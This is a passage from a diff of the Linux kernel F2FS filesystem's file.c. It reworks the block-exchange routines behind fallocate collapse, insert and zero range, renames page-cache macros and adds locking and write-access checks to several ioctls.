PAGE_SIZE - off_start); if (ret) return ret; } @@ -832,10 +859,10 @@ static int punch_hole(struct inode *inode, loff_t offset, loff_t len) loff_t blk_start, blk_end; struct f2fs_sb_info *sbi = F2FS_I_SB(inode); - f2fs_balance_fs(sbi); + f2fs_balance_fs(sbi, true); - blk_start = (loff_t)pg_start << PAGE_CACHE_SHIFT; - blk_end = (loff_t)pg_end << PAGE_CACHE_SHIFT; + blk_start = (loff_t)pg_start << PAGE_SHIFT; + blk_end = (loff_t)pg_end << PAGE_SHIFT; truncate_inode_pages_range(mapping, blk_start, blk_end - 1); @@ -848,83 +875,199 @@ static int punch_hole(struct inode *inode, loff_t offset, loff_t len) return ret; } -static int __exchange_data_block(struct inode *inode, pgoff_t src, - pgoff_t dst, bool full) +static int __read_out_blkaddrs(struct inode *inode, block_t *blkaddr, + int *do_replace, pgoff_t off, pgoff_t len) { struct f2fs_sb_info *sbi = F2FS_I_SB(inode); struct dnode_of_data dn; - block_t new_addr; - bool do_replace = false; - int ret; + int ret, done, i; +next_dnode: set_new_dnode(&dn, inode, NULL, NULL, 0); - ret = get_dnode_of_data(&dn, src, LOOKUP_NODE_RA); + ret = get_dnode_of_data(&dn, off, LOOKUP_NODE_RA); if (ret && ret != -ENOENT) { return ret; } else if (ret == -ENOENT) { - new_addr = NULL_ADDR; - } else { - new_addr = dn.data_blkaddr; - if (!is_checkpointed_data(sbi, new_addr)) { - dn.data_blkaddr = NULL_ADDR; + if (dn.max_level == 0) + return -ENOENT; + done = min((pgoff_t)ADDRS_PER_BLOCK - dn.ofs_in_node, len); + blkaddr += done; + do_replace += done; + goto next; + } + + done = min((pgoff_t)ADDRS_PER_PAGE(dn.node_page, inode) - + dn.ofs_in_node, len); + for (i = 0; i < done; i++, blkaddr++, do_replace++, dn.ofs_in_node++) { + *blkaddr = datablock_addr(dn.node_page, dn.ofs_in_node); + if (!is_checkpointed_data(sbi, *blkaddr)) { + + if (test_opt(sbi, LFS)) { + f2fs_put_dnode(&dn); + return -ENOTSUPP; + } + /* do not invalidate this block address */ - set_data_blkaddr(&dn); - f2fs_update_extent_cache(&dn); - do_replace = true; + f2fs_update_data_blkaddr(&dn, NULL_ADDR); + *do_replace = 1; } - f2fs_put_dnode(&dn); } + f2fs_put_dnode(&dn); +next: + len -= done; + off += done; + if (len) + goto next_dnode; + return 0; +} - if (new_addr == NULL_ADDR) - return full ? truncate_hole(inode, dst, dst + 1) : 0; +static int __roll_back_blkaddrs(struct inode *inode, block_t *blkaddr, + int *do_replace, pgoff_t off, int len) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct dnode_of_data dn; + int ret, i; - if (do_replace) { - struct page *ipage = get_node_page(sbi, inode->i_ino); - struct node_info ni; + for (i = 0; i < len; i++, do_replace++, blkaddr++) { + if (*do_replace == 0) + continue; - if (IS_ERR(ipage)) { - ret = PTR_ERR(ipage); - goto err_out; + set_new_dnode(&dn, inode, NULL, NULL, 0); + ret = get_dnode_of_data(&dn, off + i, LOOKUP_NODE_RA); + if (ret) { + dec_valid_block_count(sbi, inode, 1); + invalidate_blocks(sbi, *blkaddr); + } else { + f2fs_update_data_blkaddr(&dn, *blkaddr); + } + f2fs_put_dnode(&dn); + } + return 0; +} + +static int __clone_blkaddrs(struct inode *src_inode, struct inode *dst_inode, + block_t *blkaddr, int *do_replace, + pgoff_t src, pgoff_t dst, pgoff_t len, bool full) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(src_inode); + pgoff_t i = 0; + int ret; + + while (i < len) { + if (blkaddr[i] == NULL_ADDR && !full) { + i++; + continue; } - set_new_dnode(&dn, inode, ipage, NULL, 0); - ret = f2fs_reserve_block(&dn, dst); - if (ret) - goto err_out; + if (do_replace[i] || blkaddr[i] == NULL_ADDR) { + struct dnode_of_data dn; + struct node_info ni; + size_t new_size; + pgoff_t ilen; - truncate_data_blocks_range(&dn, 1); + set_new_dnode(&dn, dst_inode, NULL, NULL, 0); + ret = get_dnode_of_data(&dn, dst + i, ALLOC_NODE); + if (ret) + return ret; - get_node_info(sbi, dn.nid, &ni); - f2fs_replace_block(sbi, &dn, dn.data_blkaddr, new_addr, - ni.version, true); - f2fs_put_dnode(&dn); - } else { - struct page *psrc, *pdst; + get_node_info(sbi, dn.nid, &ni); + ilen = min((pgoff_t) + ADDRS_PER_PAGE(dn.node_page, dst_inode) - + dn.ofs_in_node, len - i); + do { + dn.data_blkaddr = datablock_addr(dn.node_page, + dn.ofs_in_node); + truncate_data_blocks_range(&dn, 1); + + if (do_replace[i]) { + f2fs_i_blocks_write(src_inode, + 1, false); + f2fs_i_blocks_write(dst_inode, + 1, true); + f2fs_replace_block(sbi, &dn, dn.data_blkaddr, + blkaddr[i], ni.version, true, false); + + do_replace[i] = 0; + } + dn.ofs_in_node++; + i++; + new_size = (dst + i) << PAGE_SHIFT; + if (dst_inode->i_size < new_size) + f2fs_i_size_write(dst_inode, new_size); + } while (--ilen && (do_replace[i] || blkaddr[i] == NULL_ADDR)); - psrc = get_lock_data_page(inode, src, true); - if (IS_ERR(psrc)) - return PTR_ERR(psrc); - pdst = get_new_data_page(inode, NULL, dst, false); - if (IS_ERR(pdst)) { + f2fs_put_dnode(&dn); + } else { + struct page *psrc, *pdst; + + psrc = get_lock_data_page(src_inode, src + i, true); + if (IS_ERR(psrc)) + return PTR_ERR(psrc); + pdst = get_new_data_page(dst_inode, NULL, dst + i, + true); + if (IS_ERR(pdst)) { + f2fs_put_page(psrc, 1); + return PTR_ERR(pdst); + } + f2fs_copy_page(psrc, pdst); + set_page_dirty(pdst); + f2fs_put_page(pdst, 1); f2fs_put_page(psrc, 1); - return PTR_ERR(pdst); - } - f2fs_copy_page(psrc, pdst); - set_page_dirty(pdst); - f2fs_put_page(pdst, 1); - f2fs_put_page(psrc, 1); - return truncate_hole(inode, src, src + 1); + ret = truncate_hole(src_inode, src + i, src + i + 1); + if (ret) + return ret; + i++; + } } return 0; +} -err_out: - if (!get_dnode_of_data(&dn, src, LOOKUP_NODE)) { - dn.data_blkaddr = new_addr; - set_data_blkaddr(&dn); - f2fs_update_extent_cache(&dn); - f2fs_put_dnode(&dn); +static int __exchange_data_block(struct inode *src_inode, + struct inode *dst_inode, pgoff_t src, pgoff_t dst, + pgoff_t len, bool full) +{ + block_t *src_blkaddr; + int *do_replace; + pgoff_t olen; + int ret; + + while (len) { + olen = min((pgoff_t)4 * ADDRS_PER_BLOCK, len); + + src_blkaddr = f2fs_kvzalloc(sizeof(block_t) * olen, GFP_KERNEL); + if (!src_blkaddr) + return -ENOMEM; + + do_replace = f2fs_kvzalloc(sizeof(int) * olen, GFP_KERNEL); + if (!do_replace) { + f2fs_kvfree(src_blkaddr); + return -ENOMEM; + } + + ret = __read_out_blkaddrs(src_inode, src_blkaddr, + do_replace, src, olen); + if (ret) + goto roll_back; + + ret = __clone_blkaddrs(src_inode, dst_inode, src_blkaddr, + do_replace, src, dst, olen, full); + if (ret) + goto roll_back; + + src += olen; + dst += olen; + len -= olen; + + f2fs_kvfree(src_blkaddr); + f2fs_kvfree(do_replace); } + return 0; + +roll_back: + __roll_back_blkaddrs(src_inode, src_blkaddr, do_replace, src, len); + f2fs_kvfree(src_blkaddr); + f2fs_kvfree(do_replace); return ret; } @@ -932,16 +1075,15 @@ static int f2fs_do_collapse(struct inode *inode, pgoff_t start, pgoff_t end) { struct f2fs_sb_info *sbi = F2FS_I_SB(inode); pgoff_t nrpages = (i_size_read(inode) + PAGE_SIZE - 1) / PAGE_SIZE; - int ret = 0; + int ret; - for (; end < nrpages; start++, end++) { - f2fs_balance_fs(sbi); - f2fs_lock_op(sbi); - ret = __exchange_data_block(inode, end, start, true); - f2fs_unlock_op(sbi); - if (ret) - break; - } + f2fs_balance_fs(sbi, true); + f2fs_lock_op(sbi); + + f2fs_drop_extent_tree(inode); + + ret = __exchange_data_block(inode, inode, end, start, nrpages - end, true); + f2fs_unlock_op(sbi); return ret; } @@ -958,16 +1100,12 @@ static int f2fs_collapse_range(struct inode *inode, loff_t offset, loff_t len) if (offset & (F2FS_BLKSIZE - 1) || len & (F2FS_BLKSIZE - 1)) return -EINVAL; - f2fs_balance_fs(F2FS_I_SB(inode)); - - if (f2fs_has_inline_data(inode)) { - ret = f2fs_convert_inline_inode(inode); - if (ret) - return ret; - } + ret = f2fs_convert_inline_inode(inode); + if (ret) + return ret; - pg_start = offset >> PAGE_CACHE_SHIFT; - pg_end = (offset + len) >> PAGE_CACHE_SHIFT; + pg_start = offset >> PAGE_SHIFT; + pg_end = (offset + len) >> PAGE_SHIFT; /* write out all dirty pages from offset */ ret = filemap_write_and_wait_range(inode->i_mapping, offset, LLONG_MAX); @@ -989,7 +1127,50 @@ static int f2fs_collapse_range(struct inode *inode, loff_t offset, loff_t len) ret = truncate_blocks(inode, new_size, true); if (!ret) - i_size_write(inode, new_size); + f2fs_i_size_write(inode, new_size); + + return ret; +} + +static int f2fs_do_zero_range(struct dnode_of_data *dn, pgoff_t start, + pgoff_t end) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(dn->inode); + pgoff_t index = start; + unsigned int ofs_in_node = dn->ofs_in_node; + blkcnt_t count = 0; + int ret; + + for (; index < end; index++, dn->ofs_in_node++) { + if (datablock_addr(dn->node_page, dn->ofs_in_node) == NULL_ADDR) + count++; + } + + dn->ofs_in_node = ofs_in_node; + ret = reserve_new_blocks(dn, count); + if (ret) + return ret; + + dn->ofs_in_node = ofs_in_node; + for (index = start; index < end; index++, dn->ofs_in_node++) { + dn->data_blkaddr = + datablock_addr(dn->node_page, dn->ofs_in_node); + /* + * reserve_new_blocks will not guarantee entire block + * allocation. + */ + if (dn->data_blkaddr == NULL_ADDR) { + ret = -ENOSPC; + break; + } + if (dn->data_blkaddr != NEW_ADDR) { + invalidate_blocks(sbi, dn->data_blkaddr); + dn->data_blkaddr = NEW_ADDR; + set_data_blkaddr(dn); + } + } + + f2fs_update_extent_cache_range(dn, start, 0, index - start); return ret; } @@ -1008,13 +1189,9 @@ static int f2fs_zero_range(struct inode *inode, loff_t offset, loff_t len, if (ret) return ret; - f2fs_balance_fs(sbi); - - if (f2fs_has_inline_data(inode)) { - ret = f2fs_convert_inline_inode(inode); - if (ret) - return ret; - } + ret = f2fs_convert_inline_inode(inode); + if (ret) + return ret; ret = filemap_write_and_wait_range(mapping, offset, offset + len - 1); if (ret) @@ -1022,11 +1199,11 @@ static int f2fs_zero_range(struct inode *inode, loff_t offset, loff_t len, truncate_pagecache_range(inode, offset, offset + len - 1); - pg_start = ((unsigned long long) offset) >> PAGE_CACHE_SHIFT; - pg_end = ((unsigned long long) offset + len) >> PAGE_CACHE_SHIFT; + pg_start = ((unsigned long long) offset) >> PAGE_SHIFT; + pg_end = ((unsigned long long) offset + len) >> PAGE_SHIFT; - off_start = offset & (PAGE_CACHE_SIZE - 1); - off_end = (offset + len) & (PAGE_CACHE_SIZE - 1); + off_start = offset & (PAGE_SIZE - 1); + off_end = (offset + len) & (PAGE_SIZE - 1); if (pg_start == pg_end) { ret = fill_zero(inode, pg_start, off_start, @@ -1040,48 +1217,43 @@ static int f2fs_zero_range(struct inode *inode, loff_t offset, loff_t len, } else { if (off_start) { ret = fill_zero(inode, pg_start++, off_start, - PAGE_CACHE_SIZE - off_start); + PAGE_SIZE - off_start); if (ret) return ret; new_size = max_t(loff_t, new_size, - (loff_t)pg_start << PAGE_CACHE_SHIFT); + (loff_t)pg_start << PAGE_SHIFT); } - for (index = pg_start; index < pg_end; index++) { + for (index = pg_start; index < pg_end;) { struct dnode_of_data dn; - struct page *ipage; + unsigned int end_offset; + pgoff_t end; f2fs_lock_op(sbi); - ipage = get_node_page(sbi, inode->i_ino); - if (IS_ERR(ipage)) { - ret = PTR_ERR(ipage); - f2fs_unlock_op(sbi); - goto out; - } - - set_new_dnode(&dn, inode, ipage, NULL, 0); - ret = f2fs_reserve_block(&dn, index); + set_new_dnode(&dn, inode, NULL, NULL, 0); + ret = get_dnode_of_data(&dn, index, ALLOC_NODE); if (ret) { f2fs_unlock_op(sbi); goto out; } - if (dn.data_blkaddr != NEW_ADDR) { - invalidate_blocks(sbi, dn.data_blkaddr); + end_offset = ADDRS_PER_PAGE(dn.node_page, inode); + end = min(pg_end, end_offset - dn.ofs_in_node + index); - dn.data_blkaddr = NEW_ADDR; - set_data_blkaddr(&dn); - - dn.data_blkaddr = NULL_ADDR; - f2fs_update_extent_cache(&dn); - } + ret = f2fs_do_zero_range(&dn, index, end); f2fs_put_dnode(&dn); f2fs_unlock_op(sbi); + f2fs_balance_fs(sbi, dn.node_changed); + + if (ret) + goto out; + + index = end; new_size = max_t(loff_t, new_size, - (loff_t)(index + 1) << PAGE_CACHE_SHIFT); + (loff_t)index << PAGE_SHIFT); } if (off_end) { @@ -1094,11 +1266,8 @@ static int f2fs_zero_range(struct inode *inode, loff_t offset, loff_t len, } out: - if (!(mode & FALLOC_FL_KEEP_SIZE) && i_size_read(inode) < new_size) { - i_size_write(inode, new_size); - mark_inode_dirty(inode); - update_inode_page(inode); - } + if (!(mode & FALLOC_FL_KEEP_SIZE) && i_size_read(inode) < new_size) + f2fs_i_size_write(inode, new_size); return ret; } @@ -1106,7 +1275,7 @@ static int f2fs_zero_range(struct inode *inode, loff_t offset, loff_t len, static int f2fs_insert_range(struct inode *inode, loff_t offset, loff_t len) { struct f2fs_sb_info *sbi = F2FS_I_SB(inode); - pgoff_t pg_start, pg_end, delta, nrpages, idx; + pgoff_t nr, pg_start, pg_end, delta, idx; loff_t new_size; int ret = 0; @@ -1121,13 +1290,11 @@ static int f2fs_insert_range(struct inode *inode, loff_t offset, loff_t len) if (offset & (F2FS_BLKSIZE - 1) || len & (F2FS_BLKSIZE - 1)) return -EINVAL; - f2fs_balance_fs(sbi); + ret = f2fs_convert_inline_inode(inode); + if (ret) + return ret; - if (f2fs_has_inline_data(inode)) { - ret = f2fs_convert_inline_inode(inode); - if (ret) - return ret; - } + f2fs_balance_fs(sbi, true); ret = truncate_blocks(inode, i_size_read(inode), true); if (ret) @@ -1140,17 +1307,23 @@ static int f2fs_insert_range(struct inode *inode, loff_t offset, loff_t len) truncate_pagecache(inode, 0, offset); - pg_start = offset >> PAGE_CACHE_SHIFT; - pg_end = (offset + len) >> PAGE_CACHE_SHIFT; + pg_start = offset >> PAGE_SHIFT; + pg_end = (offset + len) >> PAGE_SHIFT; delta = pg_end - pg_start; - nrpages = (i_size_read(inode) + PAGE_SIZE - 1) / PAGE_SIZE; + idx = (i_size_read(inode) + PAGE_SIZE - 1) / PAGE_SIZE; + + while (!ret && idx > pg_start) { + nr = idx - pg_start; + if (nr > delta) + nr = delta; + idx -= nr; - for (idx = nrpages - 1; idx >= pg_start && idx != -1; idx--) { f2fs_lock_op(sbi); - ret = __exchange_data_block(inode, idx, idx + delta, false); + f2fs_drop_extent_tree(inode); + + ret = __exchange_data_block(inode, inode, idx, + idx + delta, nr, false); f2fs_unlock_op(sbi); - if (ret) - break; } /* write out all moved pages, if possible */ @@ -1158,7 +1331,7 @@ static int f2fs_insert_range(struct inode *inode, loff_t offset, loff_t len) truncate_pagecache(inode, 0, offset); if (!ret) - i_size_write(inode, new_size); + f2fs_i_size_write(inode, new_size); return ret; } @@ -1166,67 +1339,61 @@ static int expand_inode_data(struct inode *inode, loff_t offset, loff_t len, int mode) { struct f2fs_sb_info *sbi = F2FS_I_SB(inode); - pgoff_t index, pg_start, pg_end; + struct f2fs_map_blocks map = { .m_next_pgofs = NULL }; + pgoff_t pg_end; loff_t new_size = i_size_read(inode); - loff_t off_start, off_end; - int ret = 0; + loff_t off_end; + int err; - f2fs_balance_fs(sbi); + err = inode_newsize_ok(inode, (len + offset)); + if (err) + return err; - ret = inode_newsize_ok(inode, (len + offset)); - if (ret) - return ret; + err = f2fs_convert_inline_inode(inode); + if (err) + return err; - if (f2fs_has_inline_data(inode)) { - ret = f2fs_convert_inline_inode(inode); - if (ret) - return ret; - } + f2fs_balance_fs(sbi, true); - pg_start = ((unsigned long long) offset) >> PAGE_CACHE_SHIFT; - pg_end = ((unsigned long long) offset + len) >> PAGE_CACHE_SHIFT; + pg_end = ((unsigned long long)offset + len) >> PAGE_SHIFT; + off_end = (offset + len) & (PAGE_SIZE - 1); - off_start = offset & (PAGE_CACHE_SIZE - 1); - off_end = (offset + len) & (PAGE_CACHE_SIZE - 1); + map.m_lblk = ((unsigned long long)offset) >> PAGE_SHIFT; + map.m_len = pg_end - map.m_lblk; + if (off_end) + map.m_len++; - f2fs_lock_op(sbi); + err = f2fs_map_blocks(inode, &map, 1, F2FS_GET_BLOCK_PRE_AIO); + if (err) { + pgoff_t last_off; - for (index = pg_start; index <= pg_end; index++) { - struct dnode_of_data dn; + if (!map.m_len) + return err; - if (index == pg_end && !off_end) - goto noalloc; + last_off = map.m_lblk + map.m_len - 1; - set_new_dnode(&dn, inode, NULL, NULL, 0); - ret = f2fs_reserve_block(&dn, index); - if (ret) - break; -noalloc: - if (pg_start == pg_end) - new_size = offset + len; - else if (index == pg_start && off_start) - new_size = (loff_t)(index + 1) << PAGE_CACHE_SHIFT; - else if (index == pg_end) - new_size = ((loff_t)index << PAGE_CACHE_SHIFT) + - off_end; - else - new_size += PAGE_CACHE_SIZE; + /* update new size to the failed position */ + new_size = (last_off == pg_end) ? offset + len: + (loff_t)(last_off + 1) << PAGE_SHIFT; + } else { + new_size = ((loff_t)pg_end << PAGE_SHIFT) + off_end; } - if (!(mode & FALLOC_FL_KEEP_SIZE) && - i_size_read(inode) < new_size) { - i_size_write(inode, new_size); - mark_inode_dirty(inode); - update_inode_page(inode); - } - f2fs_unlock_op(sbi); + if (!(mode & FALLOC_FL_KEEP_SIZE) && i_size_read(inode) < new_size) + f2fs_i_size_write(inode, new_size); - return ret; + return err; } +#ifndef FALLOC_FL_COLLAPSE_RANGE #define FALLOC_FL_COLLAPSE_RANGE 0X08 +#endif +#ifndef FALLOC_FL_ZERO_RANGE #define FALLOC_FL_ZERO_RANGE 0X10 +#endif +#ifndef FALLOC_FL_INSERT_RANGE #define FALLOC_FL_INSERT_RANGE 0X20 +#endif static long f2fs_fallocate(struct file *file, int mode, loff_t offset, loff_t len) @@ -1247,7 +1414,7 @@ static long f2fs_fallocate(struct file *file, int mode, FALLOC_FL_INSERT_RANGE)) return -EOPNOTSUPP; - mutex_lock(&inode->i_mutex); + inode_lock(inode); if (mode & FALLOC_FL_PUNCH_HOLE) { if (offset >= inode->i_size) @@ -1265,12 +1432,15 @@ static long f2fs_fallocate(struct file *file, int mode, } if (!ret) { - inode->i_mtime = inode->i_ctime = CURRENT_TIME; - mark_inode_dirty(inode); + inode->i_mtime = inode->i_ctime = current_time(inode); + f2fs_mark_inode_dirty_sync(inode, false); + if (mode & FALLOC_FL_KEEP_SIZE) + file_set_keep_isize(inode); + f2fs_update_time(F2FS_I_SB(inode), REQ_TIME); } out: - mutex_unlock(&inode->i_mutex); + inode_unlock(inode); trace_f2fs_fallocate(inode, mode, offset, len, ret); return ret; @@ -1278,13 +1448,22 @@ static long f2fs_fallocate(struct file *file, int mode, static int f2fs_release_file(struct inode *inode, struct file *filp) { + /* + * f2fs_relase_file is called at every close calls. So we should + * not drop any inmemory pages by close called by other process. + */ + if (!(filp->f_mode & FMODE_WRITE) || + atomic_read(&inode->i_writecount) != 1) + return 0; + /* some remained atomic pages should discarded */ if (f2fs_is_atomic_file(inode)) - commit_inmem_pages(inode, true); + drop_inmem_pages(inode); if (f2fs_is_volatile_file(inode)) { - set_inode_flag(F2FS_I(inode), FI_DROP_CACHE); + clear_inode_flag(inode, FI_VOLATILE_FILE); + set_inode_flag(inode, FI_DROP_CACHE); filemap_fdatawrite(inode->i_mapping); - clear_inode_flag(F2FS_I(inode), FI_DROP_CACHE); + clear_inode_flag(inode, FI_DROP_CACHE); } return 0; } @@ -1314,33 +1493,29 @@ static int f2fs_ioc_setflags(struct file *filp, unsigned long arg) { struct inode *inode = file_inode(filp); struct f2fs_inode_info *fi = F2FS_I(inode); - unsigned int flags = fi->i_flags & FS_FL_USER_VISIBLE; + unsigned int flags; unsigned int oldflags; int ret; + if (!inode_owner_or_capable(inode)) + return -EACCES; + + if (get_user(flags, (int __user *)arg)) + return -EFAULT; + ret = mnt_want_write_file(filp); if (ret) return ret; - if (!inode_owner_or_capable(inode)) { - ret = -EACCES; - goto out; - } - - if (get_user(flags, (int __user *)arg)) { - ret = -EFAULT; - goto out; - } - flags = f2fs_mask_flags(inode->i_mode, flags); - mutex_lock(&inode->i_mutex); + inode_lock(inode); oldflags = fi->i_flags; if ((flags ^ oldflags) & (FS_APPEND_FL | FS_IMMUTABLE_FL)) { if (!capable(CAP_LINUX_IMMUTABLE)) { - mutex_unlock(&inode->i_mutex); + inode_unlock(inode); ret = -EPERM; goto out; } @@ -1349,11 +1524,10 @@ static int f2fs_ioc_setflags(struct file *filp, unsigned long arg) flags = flags & FS_FL_USER_MODIFIABLE; flags |= oldflags & ~FS_FL_USER_MODIFIABLE; fi->i_flags = flags; - mutex_unlock(&inode->i_mutex); + inode_unlock(inode); + inode->i_ctime = current_time(inode); f2fs_set_inode_flags(inode); - inode->i_ctime = CURRENT_TIME; - mark_inode_dirty(inode); out: mnt_drop_write_file(filp); return ret; @@ -1374,17 +1548,35 @@ static int f2fs_ioc_start_atomic_write(struct file *filp) if (!inode_owner_or_capable(inode)) return -EACCES; - f2fs_balance_fs(F2FS_I_SB(inode)); + ret = mnt_want_write_file(filp); + if (ret) + return ret; + + inode_lock(inode); if (f2fs_is_atomic_file(inode)) - return 0; + goto out; ret = f2fs_convert_inline_inode(inode); if (ret) - return ret; + goto out; - set_inode_flag(F2FS_I(inode), FI_ATOMIC_FILE); - return 0; + set_inode_flag(inode, FI_ATOMIC_FILE); + f2fs_update_time(F2FS_I_SB(inode), REQ_TIME); + + if (!get_dirty_pages(inode)) + goto out; + + f2fs_msg(F2FS_I_SB(inode)->sb, KERN_WARNING, + "Unexpected flush for atomic writes: ino=%lu, npages=%lld", + inode->i_ino, get_dirty_pages(inode)); + ret = filemap_write_and_wait_range(inode->i_mapping, 0, LLONG_MAX); + if (ret) + clear_inode_flag(inode, FI_ATOMIC_FILE); +out: + inode_unlock(inode); + mnt_drop_write_file(filp); + return ret; } static int f2fs_ioc_commit_atomic_write(struct file *filp) @@ -1395,22 +1587,27 @@ static int f2fs_ioc_commit_atomic_write(struct file *filp) if (!inode_owner_or_capable(inode)) return -EACCES; - if (f2fs_is_volatile_file(inode)) - return 0; - ret = mnt_want_write_file(filp); if (ret) return ret; + inode_lock(inode); + + if (f2fs_is_volatile_file(inode)) + goto err_out; + if (f2fs_is_atomic_file(inode)) { - clear_inode_flag(F2FS_I(inode), FI_ATOMIC_FILE); - ret = commit_inmem_pages(inode, false); - if (ret) + clear_inode_flag(inode, FI_ATOMIC_FILE); + ret = commit_inmem_pages(inode); + if (ret) { + set_inode_flag(inode, FI_ATOMIC_FILE); goto err_out; + } } - ret = f2fs_sync_file(filp, 0, LLONG_MAX, 0); + ret = f2fs_do_sync_file(filp, 0, LLONG_MAX, 0, true); err_out: + inode_unlock(inode); mnt_drop_write_file(filp); return ret; } @@ -1423,31 +1620,54 @@ static int f2fs_ioc_start_volatile_write(struct file *filp) if (!inode_owner_or_capable(inode)) return -EACCES; + ret = mnt_want_write_file(filp); + if (ret) + return ret; + + inode_lock(inode); + if (f2fs_is_volatile_file(inode)) - return 0; + goto out; ret = f2fs_convert_inline_inode(inode); if (ret) - return ret; + goto out; - set_inode_flag(F2FS_I(inode), FI_VOLATILE_FILE); - return 0; + set_inode_flag(inode, FI_VOLATILE_FILE); + f2fs_update_time(F2FS_I_SB(inode), REQ_TIME); +out: + inode_unlock(inode); + mnt_drop_write_file(filp); + return ret; } static int f2fs_ioc_release_volatile_write(struct file *filp) { struct inode *inode = file_inode(filp); + int ret; if (!inode_owner_or_capable(inode)) return -EACCES; + ret = mnt_want_write_file(filp); + if (ret) + return ret; + + inode_lock(inode); + if (!f2fs_is_volatile_file(inode)) - return 0; + goto out; - if (!f2fs_is_first_block_written(inode)) - return truncate_partial_data_page(inode, 0, true); + if (!f2fs_is_first_block_written(inode)) { + ret = truncate_partial_data_page(inode, 0, true); + goto out; + } - return punch_hole(inode, 0, F2FS_BLKSIZE); + ret = punch_hole(inode, 0, F2FS_BLKSIZE); +out: + inode_unlock(inode); + mnt_drop_write_file(filp); + return ret; } static int f2fs_ioc_abort_volatile_write(struct file *filp) @@ -1462,13 +1682,19 @@ static int f2fs_ioc_abort_volatile_write(struct file *filp) if (ret) return ret; - f2fs_balance_fs(F2FS_I_SB(inode)); + inode_lock(inode); + + if (f2fs_is_atomic_file(inode)) + drop_inmem_pages(inode); + if (f2fs_is_volatile_file(inode)) { + clear_inode_flag(inode, FI_VOLATILE_FILE); + ret = f2fs_do_sync_file(filp, 0, LLONG_MAX, 0, true); + } - clear_inode_flag(F2FS_I(inode), FI_ATOMIC_FILE); - clear_inode_flag(F2FS_I(inode), FI_VOLATILE_FILE); - commit_inmem_pages(inode, true); + inode_unlock(inode); mnt_drop_write_file(filp); + f2fs_update_time(F2FS_I_SB(inode), REQ_TIME); return ret; } @@ -1478,6 +1704,7 @@ static int f2fs_ioc_shutdown(struct file *filp, unsigned long arg) struct f2fs_sb_info *sbi = F2FS_I_SB(inode); struct super_block *sb = sbi->sb; __u32 in; + int ret; if (!capable(CAP_SYS_ADMIN)) return -EPERM; @@ -1485,30 +1712,38 @@ static int f2fs_ioc_shutdown(struct file *filp, unsigned long arg) if (get_user(in, (__u32 __user *)arg)) return -EFAULT; + ret = mnt_want_write_file(filp); + if (ret) + return ret; + switch (in) { - case FS_GOING_DOWN_FULLSYNC: + case F2FS_GOING_DOWN_FULLSYNC: sb = freeze_bdev(sb->s_bdev); if (sb && !IS_ERR(sb)) { - f2fs_stop_checkpoint(sbi); + f2fs_stop_checkpoint(sbi, false); thaw_bdev(sb->s_bdev, sb); } break; - case FS_GOING_DOWN_METASYNC: + case F2FS_GOING_DOWN_METASYNC: /* do checkpoint only */ f2fs_sync_fs(sb, 1); - f2fs_stop_checkpoint(sbi); + f2fs_stop_checkpoint(sbi, false); break; - case FS_GOING_DOWN_NOSYNC: - f2fs_stop_checkpoint(sbi); + case F2FS_GOING_DOWN_NOSYNC: + f2fs_stop_checkpoint(sbi, false); break; - case FS_GOING_DOWN_METAFLUSH: + case F2FS_GOING_DOWN_METAFLUSH: sync_meta_pages(sbi, META, LONG_MAX); - f2fs_stop_checkpoint(sbi); + f2fs_stop_checkpoint(sbi, false); break; default: - return -EINVAL; + ret = -EINVAL; + goto out; } - return 0; + f2fs_update_time(sbi, REQ_TIME); +out: + mnt_drop_write_file(filp); + return ret; } static int f2fs_ioc_fitrim(struct file *filp, unsigned long arg) @@ -1529,15 +1764,21 @@ static int f2fs_ioc_fitrim(struct file *filp, unsigned long arg) sizeof(range))) return -EFAULT; + ret = mnt_want_write_file(filp); + if (ret) + return ret; + range.minlen = max((unsigned int)range.minlen, q->limits.discard_granularity); ret = f2fs_trim_fs(F2FS_SB(sb), &range); + mnt_drop_write_file(filp); if (ret < 0) return ret; if (copy_to_user((struct fstrim_range __user *)arg, &range, sizeof(range))) return -EFAULT; + f2fs_update_time(F2FS_I_SB(inode), REQ_TIME); return 0; } @@ -1553,38 +1794,31 @@ static bool uuid_is_nonzero(__u8 u[16]) static int f2fs_ioc_set_encryption_policy(struct file *filp, unsigned long arg) { -#ifdef CONFIG_F2FS_FS_ENCRYPTION - struct f2fs_encryption_policy policy; + struct fscrypt_policy policy; struct inode *inode = file_inode(filp); - if (copy_from_user(&policy, (struct f2fs_encryption_policy __user *)arg, - sizeof(policy))) + if (copy_from_user(&policy, (struct fscrypt_policy __user *)arg, + sizeof(policy))) return -EFAULT; - return f2fs_process_policy(&policy, inode); -#else - return -EOPNOTSUPP; -#endif + f2fs_update_time(F2FS_I_SB(inode), REQ_TIME); + + return fscrypt_process_policy(filp, &policy); } static int f2fs_ioc_get_encryption_policy(struct file *filp, unsigned long arg) { -#ifdef CONFIG_F2FS_FS_ENCRYPTION - struct f2fs_encryption_policy policy; + struct fscrypt_policy policy; struct inode *inode = file_inode(filp); int err; - err = f2fs_get_policy(inode, &policy); + err = fscrypt_get_policy(inode, &policy); if (err) return err; - if (copy_to_user((struct f2fs_encryption_policy __user *)arg, &policy, - sizeof(policy))) + if (copy_to_user((struct fscrypt_policy __user *)arg, &policy, sizeof(policy))) return -EFAULT; return 0; -#else - return -EOPNOTSUPP; -#endif } static int f2fs_ioc_get_encryption_pwsalt(struct file *filp, unsigned long arg) @@ -1607,13 +1841,13 @@ static int f2fs_ioc_get_encryption_pwsalt(struct file *filp, unsigned long arg) generate_random_uuid(sbi->raw_super->encrypt_pw_salt); err = f2fs_commit_super(sbi, false); - - mnt_drop_write_file(filp); if (err) { /* undo new data */ memset(sbi->raw_super->encrypt_pw_salt, 0, 16); + mnt_drop_write_file(filp); return err; } + mnt_drop_write_file(filp); got_it: if (copy_to_user((__u8 __user *)arg, sbi->raw_super->encrypt_pw_salt, 16)) @@ -1626,6 +1860,7 @@ static int f2fs_ioc_gc(struct file *filp, unsigned long arg) struct inode *inode = file_inode(filp); struct f2fs_sb_info *sbi = F2FS_I_SB(inode); __u32 sync; + int ret; if (!capable(CAP_SYS_ADMIN)) return -EPERM; @@ -1636,21 +1871,30 @@ static int f2fs_ioc_gc(struct file *filp, unsigned long arg) if (f2fs_readonly(sbi->sb)) return -EROFS; + ret = mnt_want_write_file(filp); + if (ret) + return ret; + if (!sync) { - if (!mutex_trylock(&sbi->gc_mutex)) - return -EBUSY; + if (!mutex_trylock(&sbi->gc_mutex)) { + ret = -EBUSY; + goto out; + } } else { 